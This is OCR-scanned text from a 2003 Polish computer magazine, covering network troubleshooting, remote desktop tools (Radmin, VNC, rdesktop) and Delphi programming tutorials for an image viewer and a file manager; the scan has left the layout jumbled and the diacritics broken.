na serwerze demona dhepd. Komfort polega na tym, ze ustawienia pobie-
rane sg przez wszystkie stacje z serwera. Podczas korekty jakiegokolwiek
parametru sieci, na przyktad adresu IP bramki, zmiany zapisujemy tylko na
serwerze DHCP i s3 one automatycznie aktualizowane na kazdej stacji.

5. Przyczyna braku komunikacji moze byc firewall zainstalowany na jed- 4 "

nym komputerow w sieci i jego restrykcyjne ustawienia.
(QWarto zajrzec... |

Ksiazki

Samba dla kazdego, Helion,
Gliwice 2002, cena 66 zt
Samba, ReadMe, Warszawa
2000, cena 68 zt

Sieci komputerowe. Kom-
pendium, Helion, Gliwice 2003,

6. Jesli upewnilismy sie, 7e sie¢ lokalna funkcjonuje
prawidfowo, czas sprawdzi¢ ewentualne przyczyny proble-
maw z dostepem do internetu. Za pomoca polecenia ping
zweryfikujmy poprawno$¢ pofaczenia z linuksowym serwe-
rem oraz dostep do jego zasobow. Jesli sg z tym problemy,
upewnijmy sie, ze firewall na serwerze jest prawidtowo
skonfigurowany. Przyczyna moze leze¢ w Zle wpisanych ad-

resach komputerow, ktore majg by¢ blokowane (ich lista cena 49 2t
znajduje sig w pliku /etc/rc.d/rc.local). Adresy WWW

. ) ) ) ) ® www.aurox.pl
7. Jesli jest potgczenie z Linuksem, ale nie mozna korzy- e www.samba.org
sta¢ z internetu, sprawdzmy ustawienia maskarady. o http://rfc.net/rfc1918.html

o http//linio.terramail.pl/samba.html
8. W przypadku gdy mozna korzystaé z internetu, ale o www.linux.pl
ofaczenia nawiazywane s tylko po adresach IP oznacza o httpi/fagneostrada.pl

poiq ' ® http://banita.pl/konf/smb.html

to, ze adresy serweréw DNS sg biednie ustawione. BB m
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WINDOWS:

Remote
Administrator
| shareware
Remote Task
| Manager
Shareware

RemoteExplorer
| shareware

- RemotelyAnywhere
demo

VNC GPL

. VP Remote
Control shareware

Pecet

cz. |l

: } LINUX:

B | Remote Desktop
Protocol Client GPL
VNC GPL

FOT: COREL/CORBIS STOCK MARKET/PIEKNA/montaz KOMPUTER SWIAT EKSPERT

- ko dla ekspertow. Wystar-
‘czy zainstalowac odpo-
iednie oprogramowanie
' na ekranie naszego pece-
ta zobaczymy pulpit kom-
tera pracujacego nawet
drugim koncu swiata

PORADY ZDALNA ADMINISTRACJA

odlegtosc

poprzednim nu-
merze Eksperta
zapoznalismy sie

z narzedziami do pracy zdalngj
wbudowanymi w systemy operacyj-
ne Windows 2000 i Windows XP
Co maja jednak zrobi¢ uzytkownicy,

ktorzy korzystajg na przyktad Win-
dows 98, Millennium czy Linuksa?
Tym uzytkownikom Ekspert propo-
nuje zainstalowanie dodatkowego
oprogramowania, ktore swojg funk-
cjonalno$cig nie ustepuje ustugom
systemowym.

Wsrod dostepnych programow
znajdziemy narzedzia darmowe

i komercyjne (ktore majg jednak
w petni funkcjonalne wersje de-
monstracyjne).

Ekspert nie zapomniat rowniez
0 uzytkownikach Linuksa.

R emote Administrator é to
jedno z najlepszych i naj-

popularnigjszych komercyjnych

emote Administrator

www.famatech.com, a takze na
krazku CD Eksperta. Wadg,

Z punktu widzenia domowego
uzytkownika, jest fakt, iz produkt
ten jest komercyjny — petna wersja
kosztuje okoto 140 ztotych. Jedng
z gtownych zalet Remote Admini-
stratora jest natomiast szybkosc¢
przesytania danych z odlegtych
komputeréw. Podczas pofgczenia
za poSrednictwem modemu od-
Swiezanie zdalnego ekranu wynosi
od 5 do 10 razy w ciggu sekundy,
a w sieci lokalnej miedzy 100

a 500 razy na sekunde.

UrUChamiana Options for Remote Administrator server 2.1 [ﬁ]
recznie, czy jako | .

o nskall B sarves as & spsiem senice pou conhgues it o nn Inztall sesvice
USTUga Sys‘[emo_ sutrrahcalls sach b whan Windows stats Q
Wa e DrUga E' Wm;hnm]'ﬂfgkunr Tainatall on tamone the sarvics youmust Hemave servies

______ 1 e rarviages

OpC]a dOStepna Irw?omtmdhosu;rasnww:o.wrm:h;:&um& M
jest tylko w sys- Emm:ﬁmﬁﬁammm”ﬁﬁmu‘mmm Opions .
temach Windows e 7M
Z linii NT. s |

2. Po zainstalowaniu programu,
do poprawnej pracy serwera, mu-
simy jeszcze zdefiniowac liste
kont uzytkownikow, ktorzy beda
mogli korzysta¢ z ustug zdalnego
pulpitu e-=----

Uset/groap W

| Accass
) Sovdomin: File tarafer
in Usees iew of scicen
b Domain Admi Ful coriol of scseen
AT Al sccess RTVFC)

Rédmin server can un in bwo modes:

1) Az spstem service.
Fiédmin server automatically starts with windows.

2] Az tivial application.
*r'ou can manually start RaAdmin server when you need it

v Install Radmin server as system service

gL

rozwigzan stuzacych do zdalnej
pracy. Wersje 30-dniowg znajdzie-
my na witrynie producenta

CZERWIEC - LIPIEC 2003 [le aaa]

Konfiguracja

1. W trakcie instalacji decyduje-
my, czy Remote Administrator ma
pracowac jako zwykta aplikacja

@ Marzedzia Microsofk Office
Remote Administrator vZ2, 1
) winRaR

“Wirtualna Polska

@ Internet Explorer
Microsoft Access

- v v ¥

Narzedzie konfiguracyjne znaj-
duje sie w menu startowym. Po
jego rozwinigciu klikamy kolejno
Na [Wazystiae programy], dale]

na e iuruchamiamy program e .

@) Help (English) i

1
]ﬁ Remote Administrator viewer *
ﬂ Settings for Remote Adminiskrator server
]ﬁ Start Remaote Administrator server

]H Stop Remoke Administratar server

3. Kiikamy na przycisk ¢ i defi-
niujemy liste kont uprawnionych do
logowania sie do serwera. Mozemy
ustawi¢ jedno domysine konto
badz, jezeli uzywamy Windows z ro-
dziny NT, skorzystac z systemowych
kont uzytkownikow.

W drugim przypadku Remote Ad-
ministrator pobiera ustawienia bez-
pieczenstwa z systemu operacyjne-
go. Aplikacje instalujemy na wszyst-
kich komputerach, z ktorymi bedzie-
my sie faczyC.

chzymy siq Z serwerem
Do nawigzywania potaczen

Z poszczegdlnymi komputerami

W sieci uzywamy narzedzia Remote

Administrator viewer, znajdujacego

sie w katalogu ..

1. Nowe potaczenie tworzymy za

pomoca klawisza fer,




=
Mew Connection

Name of entiy
B [toat

|P addicsz or DMS name:
> [152168.0.172

Port
] ,FSB

I Use detaull part

Hdvancad saltings

[~ Lornect teough host

K -]

e

kolorow o, rozmiar okna oraz mak-

i symalna ||czba od$wiezania ekranu

Grnoinl  Remote cormmelview |

[ ——

Cofor fomat View meds
Color foumat o be used whis & Nomsl view
lianslmrsg va redveok.

9  Fuligresn view
* s cokrs  Shelch e
" 268 cokoes
16 cokes Masssuan raarioes o

e 18

= -

{ W ciggu sekundy e---=--==========-~

W pojawiajacym sie okienku wy-
petniamy pole adresu IP zdalnego
komputera é oraz wpisujemy na-
"Zwe pofaczenia e . Gdy faczymy sie
na przyktad przez internet z kompu-
terem w sieci LAN, musimy zazna-

e

3. W glownym oknie aplikacji e

znajdujg sie ikony oznaczajace typ
pofgczenia. O ile nasze konto na

- Remate Administrator - UNREGISTERED:

[l=1

J JJJ [ m a4 [} l-—l_

czy¢ opcje ¢ oraz wpisac adres

komputera ¢, ktory wpusci nas do
wewnetrznej sieci.

2. We wiasciwosciach pofaczenia
mamy tez mozliwo$¢ sprecyzowania
parametrow terminala. S3 to paleta

| Address.
!_mm*o ssrpsche defm
Wrackievaczen | efeackieuicman et

Erst izt

 odleglym komputerze ma takie

: uprawnienia, mozemy wybrac na
i przykiad Petng kontrole, Tryb pod-
i gladu, Transfer plikow czy potacze-
i n|e Telngt o .

4. Teraz wystarczy w oknie é

7 listy utworzonych potgczen wy-

bra¢ interesujgcy nas komputer

i klikng¢ dwukrotnie na jego nazwe.
Po pojawieniu sie okienka logo-

wania podajemy swoj login, hasto

oraz nazwe domeny lub grupy ro-

boczej komputera. Mozemy zaczg¢

prace na odlegtym serwerze.

Bezpieczenstwo

Zanim zezwolimy innym na 13-
czenie sig z naszym komputerem,
Ekspert radzi, aby zadbac o bez-
pieczenstwo. Tworcy produktu
dos$¢ powaznie podeszli do kwestii
bezpieczenstwa pracy na serwerze.
Dlatego wszystkie sesje sg szyfro-
wane 128-bitowym losowo gene-
rowanym kluczem. Dodatkowo, za
pomocg wczesniej wspomniane-
go narzedzia konfiguracyjnego,
mozemy zdefiniowac liste adre-
sow IP komputeréw, ktore bedg

mogty sie z nami potaczy¢ e-------
Minimalizuje to ryzyko dostepu
0s6b nieuprawnionych.

Ponadto kazda sesja moze by¢
zapisywana do pliku lub systemo-
wego dziennika zdarzen e .

Options for Remole Administralor Sarver 2.1

Iz necessany o restart Bl admin server after the
ehange of th poit rumbat
|P fiter allowe access only from specifiad (P addreces
W Use P fiter
P addess [ Subnet mask I
192 169.0.0 I g )
Add Remove I
Pt Teay won
B e sinap | i
=
Logging Incoming cannection dialog
b o [ Ak wsen pemision
~
T T Use logile Pl
[e\inghln bt
Timecut |10 e
=] [ Cancet |

p rogram VNC rozprowadzany
jest na licencji GPL. Ozna-
cza to, ze kazdy moze z niego ko-
rzysta¢ za darmo. To nie koniec za-
let: aplikacja jest niewielka i dziata
na wiekszosci systemow operacyj-
nych, zaczynajac od Uniksa, a kon-

cz3c na Amiga-
0S. Mimo
wszystko ma
jednak wady.
Miedzy innymi,
nie zapewnia
komfortu pracy
przy wolniej-
szych taczach.
Doskonale jed-
nak sprawdza
Sie w sieciach
lokalnych.
Ekspert pokaze, jak uruchomi¢
i skonfigurowac program w syste-
mie Windows e .
1. Po wskazaniu folderu instala-
cyjnego wybieramy tryb instalacji
e (najlepiej petna). W kolejnym

Select Additional Tasks
‘whhich add¥ional lazks should ba peslonmed?

chek Newt
Addtional isona:

[[]Creste 8 VNE Viewsr deskbop scan

L] Corate 5 VNE Wiewes Quick Launch ison
VNI Serves canhoueation

Select the additional tasks you would ke Setup to pesform whie instaling VINC, then ;-

oknie definiu-
Selict Companents ; jemy dodatko-
‘Whech comporents should be ristaled? ! We parametry
the components pou vanl b natal: rhu»rﬂumw\hyhldnrlimdm programu q
mmnmmmmmmm _____________
V Jezeli posia-
Full wrstalalion |
IV Server HaLE damy system
] Windows
T NT/2000/XP

Ekspert poleca
zaznaczenie
opcji e ie

2. Po instalacji w zasobniku sys-
temowym pojawia sig ikona aplika-

Cji o

Jezeli wezesniej nie konfiguro-
walismy programu, klikamy pra-
wym przyciskiem myszy na ikone
i wybieramy z menu podrecznego
opcje e.

Properties

Add Mew Client
kill all Clients

About WindMC

Close WhC

Aby potaczenia do naszego
komputera byty w ogdle mozliwe,
musimy zaznaczy¢ opcj¢ e oraz

Wten sposdb
uruchomimy
program jako

[#] Frewster VN Server a5 2 system sevvice
[] Staet ths VHIE Setvns systam sevice

ustuge syste-
mowa.

A

ustali¢ hasto dla taczacych sie
uzytkownikow — wpisujemy je
W pole e . Zaznaczenie opcji «

i udostepni mozliwos¢ faczenia sig
i zdalnego przez internet, za pomoca

@ VNC - darmowy, ale...

iestety, VNC nie jest pozbawiony wad. Po pierwsze,

dane przesylane przez sie¢ nie sa szyfrowa-
ne, co umozliwia przechwycenie naszej zdalnej sesji. Apli-

kacja nie wspétpracuje réwniez z systemem za-
bezpieczen Windows, uzytkownicy korzystajg z konta

tworzonego w programie. O ile problem szyfrowania moz-

na rozwigzac, wykorzystujac do potaczenia na przyktad
program OpenSSH, o tyle druga wada jest powazniejsza.
Praca zdalna za pomocg VNC nie jest réwniez wygodna,

nawet przy ustawieniu najmniej wymagajacych opcji. Je-
zeli planujemy taczy¢ sie za pomocg modemu, czeka nas

wiele nerwow. Dzigje sie tak miedzy innymi dlatego, ze
przesytane dane nie sa kompresowane. Na
szczescie problem czesciowo rozwigzuje wspomniany
program OpenSSH, ktory oprocz szyfrowania stosuje
rowniez kompresje.

Mimo wad darmowy VNC moze by¢ dobrym rozwigza-
niem w sieciach lokalnych, w ktorych szybkos¢
przesytania danych jest bardzo duza.

w oknie adresowym: http://ad-
res.naszego.komputera:5800/

3. Nastepna grupa opcji odpo-
wiada za zachowanie sie klawiatury
i myszki & . Mozemy wytaczy¢ te
.]]Fiei&iéfﬂa albo na zdalnym kom-
i puterze, albo na komputerze t3cza-
i cym sie (wtedy dostepny bedzie
i tylko podglad pulpitu). Dodatkowo

i przegladarki stron WWW — taczymy mamy mozliwo$¢ wytaczenia prze-
: sie z komputerem, wp|su1ac i sytania tapety e .
{ i e 4 . Kolejne
| | [ Dmable Feemis Keyboad & Ponber E Opcje Odpo_
Paswaid | | 7 Diable Loctl Keybosd & Pointer ] . .
i | | wiadajg za za-
y | I Femove Deskiop Walpopei ===~ o
tami e chowanie sig
= ava Vi <ae———————— 4
ninhialion I PollFul Scacen e serwera po
‘When Last Chent Discormects A OdfaCZBnIU
& Do Nothang 17 PolFarereundWindsw T oot )
e s I~ PollWindow Unds: Cussor ostatniego
 Logolt Warkstation zdalnego uzyt-
[2] Anply | Lancel | . .
kownika. Moz- [
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PORADY ZDALNA ADMINISTRACJA

$wiezany ¢ (caly ekran, aktywne
okno, okno pod kursorem). Moze-
my rowniez wiaczy¢ od$wiezanie

jedynie okna polecen e, oraz tylko

‘When Last Client Disconnects Update Handing i
""""""""""" N Poll Conzole < --
-3+ DoMaothing <€ :’ et kol scieety A M \windows Oy i
1 i 1
 Lock Workstation ~@--===--=-==-1 }|| ¥ Pol Foreground Window i o i
) i
P Logoft Workstation H | T Pol Wi Undes Cursul A :
1
1 1
\ ¥

| —————

liwe jest wylogowanie uzytkowni-

racyjnych ma bezposredni wptyw
na komfort pracy z terminalem.
Ustawiamy obszar, ktory bedzie od-

________________

pod warunkiem wystgpienia zdarze-
nia (kliknigcia myszk, nacisnigcia
Klawisza) é .

Po zakonczeniu konfiguracji uru-

chamiamy klienta VNC i wpisujemy

E WNC zarver |rfrackiswicap
Lize hiet display

B soupy. 2
[Display defauks to 0if not giv

Jezeli autoryzacja przebiegnie
prawidtowo, ujrzymy pulpit zdalne-
g0 peceta i uzyskamy mozliwosc
pracy na odlegfosc.

desktop — klient ustug
erminalowych dla Linuxa

I Linux moga sig cieszy¢ z za-

let pracy zdalnej. Narzedzie rdesktop
jest darmowe i dostepne pod ad-
resem www.rdesktop.org e albo

Uruchamiamy wtedy terminal (je-
zeli korzystamy z X-Windows, wpi-
sujemy polecenie xterm) i pobie-
ramy pakiet za pomocg programu
_Wget s

W przykfadzie Eksperta zrodta
z0stajg zapisane w katalogu root
/software. Na krazku Eksperta znaj-
dujemy pakiet rdesktop-1.1.0.tar.gz

Download 1. Aby rozpakowaé archiwum,

w oknie terminala wydajemy pole-
cenie e

Stable versions

Po chwili w katalogu, w ktérym
sie znajdujemy, powstanie folder

Development versions

@

Trudne

terminy

» szyfrowanie - zabezpieczenie danych przed nieautoryzowanym
dostepem. Poufne informacje sg szyfrowane przy uzyciu algorytmu

korzystajacego z klucza. Skutecznosc¢

szyfrowania zalezy od dltugosci

uzytego klucza, im dtuzszy, tym trudniej ztamac szyfr. Za szyfrowanie silne
uwaza sie takie, ktdre stosuje klucz 128-bitowy

» us’ruga systemowa — program, procedura lub proces, ktory
wykonuje okreslone funkcje systemowe, obstugujac inne programy.
Ustugami s na przyktad: menedzer kont zabezpieczen, ustuga replikacji

plikdw, routing i dostep zdalny.

» X-Windows - Graficzny interfejs uzytkownika w systemach
unixksowych umozliwiajacy uzytkownikom korzystanie z edytorow tekstu,
arkuszy kalkulacyjnych, przegladanie stron internetowych.

[root@pithull softuareld tar -x

install é . Pamigtajmy polecenie
wydajemy z uprawnieniami roota.

na krazku Eksperta. Ma taka sama
funkcjonalnosc jak opisywane
wczesniej programy. Ekspert poka-
ze, jak skompilowac rdesktop ze

zrodet. Jest to mozliwe we wszyst-
kich dystrybucijach Linuksa.
Sciagajac program, mozemy
skorzystac réwniez z alternatywne-
go zrodfa, na przyktad serwisu
internetowego sourceforge e .

rdesktop-1.1.0. Wchodzimy do nie-
go, wydajac polecenie e .

2. Uruchamiamy skrypt konfigu-
racyjny, wpisujac ./configure e----

3. Nastepnym krokiem jest
skompilowanie pakietu. Wydajemy
komende make. Pakiet jest goto-
wy do uzycia.

Adresy WWW:
o www.famatech.com
o www.realvnc.com
o www.rdesktop.org
e www.sourceforge.net

4. Pozostaje nam tylko zainsta-
lowac aplikacje: wpisujemy make

& CZERWIEC-LIPIEC 2003 [ aaal

! 5. Mozemy juz skasowa kata-
log powstaty po rozpakowaniu pa-
kietu, poniewaz pliki zrodtowe nie
beda nam potrzebne.

Program jest juz gotowy do pra-

cy ¢ . Uruchamiamy go, wydajgc

EREdEpga

#Remotedeskiop dw




FOT: COREL/montaz KOMPUTER SWIAT EKSPERT

by napisac przegla-

darke plikow graficz-

nych, potrzebujemy
odpowiedniego narzedzia programi-

pozI

gtownego. Dopiero kiedy wszyst-
kie komponenty znajdg si¢ na
swoich miejscach, przystgpimy do
pisania kodu.

PORADY PROGRAMOWANIE W DELPHI

Przegladarka plikéw

Nﬁraiku

Petny kod zradiowy

Dostepnych jest
wiele przegladarek
plikow graficznych
pozwalajacych
nam na podziwiani
zapisanych na dysk
zdjec¢ z wakacji.
A moze warto
napisa¢ swojq
wiasng
przegladarke?
To wcale nie jest
skomplikowane
zadanie

PAMD030JPG
P4010031JPG
AU JELA
PAMD033JPG
PADTD024JPG

stycznego. Doskonale do tego celu
nadaje sig Borland Delphi. Skorzy-
stamy z wersji 6 Personal, kidra byta
zamieszczona na ptycie CD dotgczo-
nej do pierwszego (1/2002) numeru
Eksperta (numery archiwalne mozna
zamawia¢ pod numerem telefonu
0801120003). Przegladarka bedzie

1. Uruchamiamy pakiet Delphi.
Na formatke dodajemy trzy kompo-
nenty: TDriveComboBox, TDi-
rectoryListBox oraz TFileList-
Box (nalezy szukac na zakladce
Win31). Ustawiamy je na format-
ce tak aby uzyskac widok @. Kom-

umozliwiata wySwietlanie plikow

w formatach BMP ICO, WMF oraz
JPG. Dostepne bedg dwa tryby ska-
lowania oraz mozliwo$S¢ wysSwietle-
nia pliku w trybie pefnoekranowym.
Aplikacja, po ukonczeniu, bedzie
wygladata w sposob nastepujacy @-

Tworzymy interfejs
Prace nad programem zacznie-

ponentom tym zostang nadane au-
tomatycznie nazwy, odpowiednio:

DriveComboBox1, Directory-

ListBox1 i FileListBox1.

2. Nietrudno zauwazy¢, ze Drive-
ComboBox1 stuzy do wyswietlania
listy napedow znajdujgcych sig

w naszym komputerze, DirectoryLi-
stBox1 przedstawia liste katalogow,

my od utworzenia interfejsu okna \

ja FileListBox1 listg plikow. Musimy

teraz sprawic,

aby zmiana
=k Lol [Proct.eve zawartosci
=L Unit2 dou jednego kom-
: %PézﬁzE Files Unit3.dou ponentu skut-
& Delphis kowafa
P rowniez uak-
I Be tualnieniem
pozostatych.
Jezeli zmieni-
my katalog,
R, 2Ufomatycznie
B S bR R ek e p e DOWINNA Sig

L
>

PAMD035JPG
PA00036JPG
PAD037.JPG
PA00038.JPG
FP4010033JFPG

P4010041.JPG
PAD042JPG
PAMDD4EIPG

|

K|

Tty i
" Rozmiar orvginalng

{* Skaly obraz

E:\olympust200304014P4010040.1PG

zmieni¢ zawartoSc listy plikow. Je-
$li wybierzemy nowy dysk, zmianie
powinna ulec zawarto$¢ zaréwno li-
sty katalogdw, jak i plikow.

Na szcze$cie Delphi pozwala na

y

Cti30 True

Curgor il efault

DirList hd
DragCursar  [DirectonListBon: <€ 1
DragMode drtdanual i
Enabled True i

bardzo proste, prawie automatycz-
ne powigzanie ze sobg tych kom-
ponentow.

Klikamy na DriveComboBox1

kujemy wiasciwos¢ 5_._N_EI_§téb_ﬁi_em
ze znajdujacej sie obok listy roz-

L

W ten sposob nakazalismy kom-
ponentowi zawierajgcemu liste na-
pedow, aby przy kazdej zmianie
SWojego stanu informowat o tym
fakcie komponent zawierajgcy liste
katalogow.

3. Podobng operacje musimy
wykonaé, wigzac ze sobg liste kata- [ |

Ekspert radzi

e4li chcemy, aby komponent TFileListBox wyéwiet-

lat jedynie niektdre typy plikow, nalezy zmodyfikowac
jego whasciwose Mask. Wiasciwosci tej mozemy przypi-
sac praktycznie dowolng liczbe wzorcéw, ktore nalezy od-
dziela¢ srednikami. Jezeli chcemy, aby wyswietlane byty
jedynie pliki o rozszerzeniach .bmp, .ico, .wmf i .jpg,
nalezy zastosowat cigg znakow:
*,bmp; *.ico;*.wmf; *.jpg
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Wivstapit bad

wySwietlataby na ekranie okno dia- !
logowe @. Takie rozwigzanie bytoby
jednak niezbyt wygodne dla uzyt-
kownika, ktory przy kazdym bted-
nym pliku musiatby klika¢ przycisk
OK. Dlatego tez pozostawimy pier-
wotne rozwigzanie, czyli, jesli plik

nie daje si¢ zatadowac program po
prostu nie robi nic.

Dociekliwy programista spyta za-
pewne, po co wykonujemy instruk-
cje warunkowg if sprawdzajaca,
czy wiasciwo$¢ FileName nie jest

nikat. Instrukcja warunkowa 1f
zapobiega powstaniu takiej sytuacji
i dzigki jej zastosowaniu mozemy
bez problemdw uruchamiac apli-
kacje rowniez z poziomu $rodo-
wiska programistycznego.

3. Kolejny fragment kodu bedzie
obstugiwat pola wyboru stuzace do
okreslenia sposobu skalowania
wcezytywanego obrazka (patrz ram-
ka Skalowanie obrazu). Klikamy
na komponent RadioGroup1

1. Z menu File wybieramy kolej-
no New, Form lub klikamy na &
Na ekranie pojawi sie nowa forma.
Dodajemy na nig komponent
Timage. Ustawiamy jego wiasci-
wosé Align na alClient. Najlepie]
tez od razu zapisac jg na dysku, na-
dajgc nazwe na przykfad
FullScreenForm.pas.

2. Poniewaz chcemy, aby
nacisniecie dowolnego klawisza po-
wodowafo wyjscie z trybu petno-

Shift: T3hiftState):
begin
close;
end;

procedure TForm2 .FormEeyDown (Sender: TObject; wvar Key: Word;

i w Object Inspectorze wybieramy A

zakladke Events.

Odszukujemy zdarzenia o nazwie
OnClick i klikamy dwukrotnie na
znajdujace sie obok pole. W oknie

begin
Imagel.Stretch := false
else

Imagel.3tretch = true;

procedure TForml.RadioGrouplClick(Sender:

if RadioGroupl.ItemIndex = 0 then

Tobject) ;

pustym ciggiem znakéw, skoro blok
try...catchitak zajmie sie
obstuga btedu? Skoro tak, wydaje
sie, ze instrukcja ta weale nie jest
potrzebna. Faktycznie tak jest.

Je$li uruchomimy program

Z poziomu Systemu operacyjnego,
bedzie on dziatat poprawnie, jesli

'Unknown picture file extension ()
continue,

Q

[ View CPU Window

Debugger Exception Notification

Project Imageviewer . exe raised exception class EInvalidGraphic with message
. Process stopped. Use Step or Run ko

A

kodu wpisujemy @. Instrukcja ta
oznacza: jesli zaznaczone jest
pierwsze pole wyboru (pole to
ma indeks 0), przypisz wtasci-
wosci Stretch warto$é false,
W przeciwnym przypadku
przypisz wtasciwosci Stretch
warto$é true.

x|

Help |

usuniemy linie zawierajaca if.
Sprobujmy jednak uruchomi¢
aplikacje z poziomu Delphi
(weiskajgc klawisz [74,). Spotka
nas niespodzianka. Zamiast ekranu ;
przegladarki zobaczymy @. Co sig
stato? Ot6z pomimo istnienia bloku
try...catch Delphi wychwytuje
btad powstaty podczas proby wczy-
tania nieistniejacego pliku graficz-
nego i wysSwietla stosowny komu-

A

Petny ekran

W tej chwili przegladarka spetnia
juz doskonale swoje zadanie, mo-

ekranowego, musimy oprogramo-
wac zdarzenie OnKeyDown.
Zdarzenie to zachodzi

@ Skalowanie obrazu

w aplikacji mamy do wyboru dwie mozliwosci wy-
Swietlania obrazu: albo w oryginalnej rozdzielczo-
Sci (co oznacza, ze jesli nie zmiesci sie na panelu, bedzie
widoczna tylko jego czes¢), albo obraz zostanie przeska-
lowany i dostosowany do wielkosci komponentu
TImage. W tej drugiej sytuacji, nawet jesli plik graficzny
bytby bardzo duzy, catos¢ zobaczymy na ekranie, jednak
proporcje obrazu mogg by¢ niewtasciwe.

Oba sposoby wyswietlania uzyskujemy poprzez zmiane
wartosci przypisanej do wtasciwosci Stretch kompo-
nentu TImage.

Wartoé¢ false oznacza, ze obraz ma by¢ wyéwietlany
w petnej rozdzielczosci, wartos¢ true, ze ma zostac
przeskalowany do rozmiarow komponentu.

wiadciwos¢ Caption zmieniamy na
Zamknij. Za pomocg Object In-
spectora przypisujemy do zdarze-
nia OnClick instrukcje Close.

za kazdym razem, kiedy
zostanie nacisniety jakis
klawisz.

begin

end;

procedure TFormZ .FormShow(Sender:

WindowState

TCbhject) ;

:= wsMaximized:

Nalezy przypisa¢ mu kod zamy- A
kajacy forme @.

3. Poniewa? chcemy, aby wezy-
tana forma zajmowata pefny ekran,
musimy napisa¢ odpowiednig

instrukcje (Patrz ramka Forma na
petnym ekranie). Niezbedne be-

\

dzie zatem przypisag_ig_lgg(_jy_(_jg _______
zdarzenia OnShow @, wykonywa-
nego zawsze, kiedy forma jest wy-

$wietlana na ekranie.

4. Powracamy do okna formy
gtownej, klikajac na zakfadke
ImageViewerCode. Na liscie
uses dopisujemy nazwe modutu
7 druga formg (czyli FullScreen-
Form), nastepnie na forme doda-
jemy dodatkowy przycisk oraz
zmieniamy jego wiasciwos¢ Cap-
tion na Petny ekran. Przycisk
umieszczamy na elemencie Radio-
Group1. Klikniecie na ten przycisk
bedzie powodowato wySwietlenie

zemy jg jednak

begin

procedure TForml.ButtonlClick(Sender:

Tohiect) ;

jeszcze bardziej
uatrakeyjnic, doda-
jac mozliwos¢ wy-
Swietlania obrazu

end;

fforme.lmﬁgel.Stretch :

Imagel.Stretch; ‘|<
Im@ggl.Picture:)

P formz . ShowModal;

¥

w trybie pefnoekranowym. W tym
celu musimy utworzy¢ nowa forme.

Forma na petnym ekranie )

F orma moze znajdowac sie na ekranie w trzech stanach, w zwy-

kitym, zminimalizowanym i

zmaksymalizowanym. Uzyt-

kownik moze regulowa¢ je przyciskami znajdujacymi sie na
pasku tytutu okna. Mozliwa jest réwniez zmiana stanu okna z poziomu
aplikacji. Wystarczy przypisa¢ wtaéciwosci WindowState formy jedna

z trzech wartoéci: wsNormal, wsMinimized lub wsMaximized.

W przypadku naszej przegladarki zapewne chcielibysmy sie tez pozby¢
catego paska tytutu z drugiej formy, tak aby wyswietlany na niej obraz
faktycznie zajmowat petny ekran. Jest to oczywiscie mozliwe i bardzo
proste do wykonania. Wystarczy, jesli w Object Inspectorze przypiszemy
whasciwosci BorderStyle wartos¢ bsNone.

wybranego obrazu na pefnym ekra-
nie. Do zdarzenia 0nCLick praypi-
sujemy kod @. Kopiujemy wlasci-
wosci ze Stretch oraz Picture

z komponentu Timage znajdujacego
sig na formie gtownej do kompo-
nentu znajdujacego sie na formie

drugiej ®. Nastepnie wySwietlamy

te forme na ekranie @.

5. Na zakoriczenie mozemy wy-
posazy¢ nasza aplikacje w przycisk
umozliwiajgcy zakonczenie pracy.
Dodajemy go na forme gtéwna,

@ Trudne terminy .

L]

To wszystko, mozemy juz skom-
pilowac kod, a nasza przegladarka
bedzie w petni funkcjonalna. ML =

» forma, formatka - okno, na ktérym umieszcza sie
pozostate elementy aplikacji (komponenty).

» instrukcja - rozkaz dla komputera zapisany
w jednym z jezykéw programowania.

» kod irodlowy - zbior instrukeji w danym jezyku
programowania, z ktérych sktada sie program.

» komponent - gotowy element, ktory mozemy
wykorzysta¢ w procesie budowy aplikacji, na przyktad
przycisk, menu, etykieta.

» Object Inspector - okno, ktore pozwala na
przypisywanie wiasciwosci obiektom. Mozemy tu zmieni¢
na przyktad napis widniejacy na pasku tytutu okna
aplikacji.

» projekt - zhidr plikéw skladajacych sie na program.
Wyrdzniamy tu pliki z kodem zrodtowym, pliki z opisem
formatki, pliki konfiguracyjne.

» whasciwose - cecha komponentu, ktorej zmiana
powoduje modyfikacje jego wygladu lub dziatania.
Przyktadem wtasciwosci moze by¢ wysokosc i kroj
czcionki, kolor, napis.

» zdarzenie - w programowaniu jest to zajscie pewnej
czynnosci, na przyktad kliknigcie mysza na przycisk czy
zmiana pozycji okna na ekranie. Programista moze
przypisac takiemu zdarzeniu instrukcje programu, inaczej
mowigc moze on zdarzenie oprogramowac.

Warto zajrze¢...

Ksiazki:

Delphi 6 Cwiczenia praktyczne - Adam Boduch,
wydawnictwo Helion, Cliwice 2002, cena: 14 zt

Delphi 6 dla kazdego - Kent Raisdorp, ttum. A.
Grazynski, wydawnictwo Helion, Gliwice 2001, cena: 69 zt

Adresy WWW:

@ http://delphi.bajo.pl
o http://delphi.about.com
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PORADY PROCRAMOWANIE W DELPHI

POZIOM TRUDNY

6' POSTQDUJQC procedure TForml.PrzenielClick(Sender: TObject):;
analogicznie jak w | »=s=

. =3 rzenies.Click:
punkcie 9, doda-i | ena;

jemy kod dla me- _ .
N i | procedure TForml.UsulClick({Sender: TObject):

nu Przenies @~ | noqin
i Usun @-------- 3 bUsun.Click:

. H
Symulujemy o
tym samym wecisniecie odpowiednio przyciskow Przenies, nastepnie
Usun.

[ ] JL H
~* - Zaznacz mnie
' “~ Menu jest gotowe, czas zajac sie dodaniem mozliwosci zaznaczania pli-

= kéw zgodnych z podanym wzorcem. AbySmy mogli taki wzorzec wprowa-
< dzi¢ do aplikacji, niezbedna bedzie
Peiny kod dodatkowa forma o wygladzie @----- Ekspert radzi ]
rodiowy

1. Kiikamy na ikong (=] lub z menu lik z forma mozna zapisat na

File wybieramy kolejno pozycje _ Lrzy rézne sposoby. Pierwszy

New i Form. Na ekranie poiawi i z nich to wcisniecie kombinacji
ewl ' poj € klawiszy & %, drugi to wybra-

obry menedzer plikow powinien mie¢ nowa forma. Korzystajac z Object | rie z menu File pozycii Save.
Inspectora, zmieniamy jej wiasci- Ostatnim sposobem jest kliknie-

ozliwos¢ zaznaczania wyswietlanych pli- | coption g zaznacs o | cle na hone .
ow i katalogow zgodnie z podanym przez  Name na Fzaznacz. Zapisujemy

iytkownika wzorcem plik na dysku, nadajgc mu nazwe =181x]
zaznacz.pas. “*“
Menu 2. Na forme dodajemy pole tek- i | x|
Zaczynamy od dodania do naszego Ekspert Commandera menu. Bedzie  stowe oraz dwa przyciski. Usuwamy e

